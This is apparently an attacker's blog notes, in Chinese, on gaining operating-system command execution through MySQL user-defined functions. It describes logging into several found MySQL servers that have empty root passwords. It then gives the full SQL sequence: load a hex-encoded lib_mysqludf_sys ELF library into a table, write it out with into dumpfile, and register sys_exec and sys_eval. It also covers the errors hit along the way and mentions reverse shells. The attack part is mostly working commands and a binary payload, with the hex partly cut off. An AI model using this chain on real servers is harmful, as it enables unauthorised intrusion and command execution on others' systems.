一、mysql dumpfile 與 outfile 函數的區別
into outfile 函數會 在行末端寫入新行 更致命的 是會轉義換行符， 這樣的話2進制可執行文件就會被破壞 ，
在導出到 一個txt文件,事實上是可以完整導出每行記錄的.這個很適合導庫，如果要導出多行記錄，dumpfile是不行的 它只能導出 一行數據!
into dumpfile 就能導出 一個完整能執行的2進制
文件into dumpfile 函數不對任何列或行進行終止，也不執行任何轉義處理
二、查看系統plugin的設置目錄；
select @@basedir; --獲取mysql安裝目錄；
show variables like "%plugin%"
二、開始測試；
很輕鬆拿到了幾個mysql，且root爲空密碼， mysql -h ip -u root -p 登錄上去；
直接登錄，把相應的UDF文件以二進制加載入表yongger; 具體操作如下：
drop table yongger;
create table yongger(data LONGBLOB);
insert into yongger values("");
update yongger set data = @a; --這裏的a 變量 賦值見最下面；
select data from yongger into DUMPFILE '/home/ebaserdb/libmysqludf.so';
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME
'/home/ebaserdb/lib/plugin/libmysqludf.so';
CREATE FUNCTION sys_get RETURNS string SONAME '/home/ebaserdb/lib/plugin/libmysqludf.so';
CREATE FUNCTION sys_set RETURNS int SONAME '/home/ebaserdb/lib/plugin/libmysqludf.so';
CREATE FUNCTION sys_exec RETURNS int SONAME '/home/ebaserdb/lib/plugin/libmysqludf.so';
CREATE FUNCTION sys_eval RETURNS string SONAME '/home/ebaserdb/lib/plugin/libmysqludf.so';
如上標註紅色的兩個地方，發現into dumpfile 這裏如果目錄設置爲/home/ebaserdb/lib/plugin/，則爲報如下錯誤：
ERROR 1 (HY000): Can't create/write
to file '/home/ebaserdb/lib/plugin/ibmysqludf.so' (Errcode: 2 - No such file or directory)
如果設爲其它有權限的目錄，或不設置 ，則均可成功；但在後面加載時又報錯如下：
ERROR 1124 (HY000): No paths allowed
for shared library
由於對端的設備未知密碼，無法登錄，所以不知道創建的文件最終存放的位置；
分析原因：發現如下內容：
共享庫必須放在plugin目錄下，目錄是由plugin_dir系統變量中定義的，默認這個目錄是由配置變量中的pkglibdir定義的，可以在服務器啓動時候改變，比如可以在my.cnf中設置：
[mysqld]
plugin_dir=/path/to/plugin/directory
plugin目錄位置是mysql安裝目錄下的lib/plugin ，需要我們手動創建 。
先看看這個吧，http://dev.mysql.com/doc/refman/5.1/en/adding-udf.html
重新編譯mysql吧，支持動態加載，編譯的時候，添加這個選項：with-mysqld-ldflags=-rdynamic
另外針對之前通過UDF獲取反彈shell的方式，應該是mysql在當前的版本中均做了保護；官網有如下說明：
如下爲網上找的前輩們的UDF；如下（參考鏈接爲：http://hi.baidu.com/sincoder/item/18fa8d331180d6aa633afff9 ）
set @a = concat('',0x7F454C460101010000000000000000000300030001000000C008000034000000A824000000000000340020000500280020001D0001000000000000000000000000000000BC0F0000BC0F0000050000000010000001000000041F0000041F0000041F00000801000010010000060000000010000002000000181F0000181F0000181F0000D0000000D0000000060000000400000051E574640000000000000000000000000000000000000000060000000400000052E57464041F0000041F0000041F0000FC000000FC00000004000000010000001100000025000000000000000E00000000000000030000001B00000000000000070000001C0000000A0000001500000010000000160000000D0000000F0000001F000000060000001D00000000000000000000000000000001000000000000000000000002000000040000000000000024000000230000002000000000000000140000001E000000180000000C000000000000000000000005000000090000002200000012000000000000001900000021000000080000000B0000000000000011000000000000001A00000000000000170000000000000013000000000000001100000011000000040000000700000001080440801946C99CA40803900460831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE12000000000000000000000000000000004C010000000000000000000012000000010000000000000000000000200000002500000000000000000000002000000052010000000000000000000012000000B20000000000000000000000120000001E0100000000000000000000120000005A01000000000000000000001200000062010000000000000000000012000000E300000000000000000000001200000054000000000000000000000012000000B9000000000000000000000012000000CD0000000000000000000000120000006F01000000000000000000001200000016000000000000000000000022000000F000000000000000000000001200000068010000000000000000000012000000E8000000680B0000AC00000012000B0033010000E40C00000500000012000B0010000000B80E00000000000012000C0078000000BB0900002F00000012000B00FF000000600800000000000012000900910100000C200000000000001000F1FF15010000700C00001D00000012000B009D01000014200000000000001000F1FF9B000000370A00000500000012000B00250100008D0C00005700000012000B00AA0000003C0A00003E00000012000B005B000000B60900000500000012000B008E000000EA0900004D00000012000B008A0100000C200000000000001000F1FF050100006B0C00000500000012000B00C00000007A0A0000CE00000012000B00F7000000140C00005700000012000B00390000007C0900003A00000012000B00D4000000480B00002000000012000B0043010000E90C00009301000012000B00005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365005F5F737461636B5F63686B5F6661696C006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E312E3300474C4942435F322E3400474C4942435F322E3000474C4942435F322E31000000020000000000030003000300030003000300030003000300040005000300020001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000400800100001000000000000000731F690900000500A2010000100000001469690D00000400AE010000100000001069690D00000300B8010000100000001169690D00000200C2010000000000009709000008000000CD090000080000001E0A000008000000960A000008000000C60A000008000000290B000008000000520C000008000000CB0C0000080000005E0D0000080000000820000008000000A2090000020A0000D8090000020A0000290A0000020A0000A10A0000020A0000D10A0000020A0000340B0000020A0000A70B0000020A0000DE0B0000020A00005D0C0000020A0000D60C0000020A00004E0A0000020500006A0A0000020B00007C0D0000020B0000550E0000020B0000070B0000020C00003B0D0000020C0000620B000002090000090C0000020F0000820C000002060000660D000002010000A20D000002040000D30D000002070000FF0D000002080000150E000002100000760E0000020D0000E81F000006020000EC1F000006030000F01F0000060E0000002000000702000004200000070E00005589E55383EC04E8000000005B81C3881700008B93F4FFFFFF85D27405E81E000000E8B9000000E8F4050000585BC9C3FFB304000000FFA30800000000000000FFA30C0000006800000000E9E0FFFFFFFFA3100000006808000000E9D0FFFFFF5589E55653E8AD00000081C32A17000083EC1080BB1800000000755D8B83FCFFFFFF85C0740E8B8314000000890424E8BCFFFFFF8B8B1C0000008D831CFFFFFF8D9318FFFFFF29D0C1F8028D70FF39F173208DB6000000008D410189831C000000FF948318FFFFFF8B8B1C00000039F172E6C683180000000183C4105B5E5DC35589E553E82E00000081C3AB16000083EC048B9320FFFFFF85D274158B93F8FFFFFF85D2740B8D8320FFFFFF890424FFD283C4045B5DC38B1C24C3905589E583EC288B450C8B0085C07421C744240832000000C7442404D40E00008B4510890424E8FCFFFFFFC645FF01EB04C645FF000FB645FFC9C35589E55DC35589E5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use mysql;
drop table yongger;
create table yongger(data LONGBLOB);
insert into yongger values("");
update yongger set data = @a;
select data from yongger into DUMPFILE 'lib_mysqludf_sys.so';
DROP FUNCTION IF EXISTS lib_mysqludf_sys_info;
DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';